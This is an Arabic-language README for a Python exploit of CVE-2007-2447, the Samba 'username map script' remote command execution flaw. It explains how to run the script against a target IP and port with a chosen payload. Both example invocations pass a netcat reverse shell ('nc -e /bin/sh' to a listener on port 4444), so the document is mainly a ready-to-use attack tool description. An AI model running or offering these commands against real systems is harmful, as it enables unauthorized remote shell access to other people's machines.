CVE-2007-2447 - تنفيذ باستخدام بايثون

الوصف

تنفيذ بلغة بايثون لاستغلال RCE لـ 'Username' map script في Samba 3.0.20 < 3.0.25rc3 (CVE-2007-2447).

الاستخدام

python3 smbExploit.py <IP> <PORT> <PAYLOAD>

• IP - عنوان IP للجهاز البعيد.
• PORT - (اختياري) المنفذ الذي يعمل عليه SMB.
• PAYLOAD - الحمولة المراد تنفيذها على الجهاز البعيد مثل reverse shell.

أمثلة:

python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444'

python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444'

الموارد

CVE-2007-2447: ثغرة حقن الأوامر عن بعد

Samba 3.0.20 < 3.0.25rc3 - تنفيذ الأمر عبر 'Username' map script (Metasploit)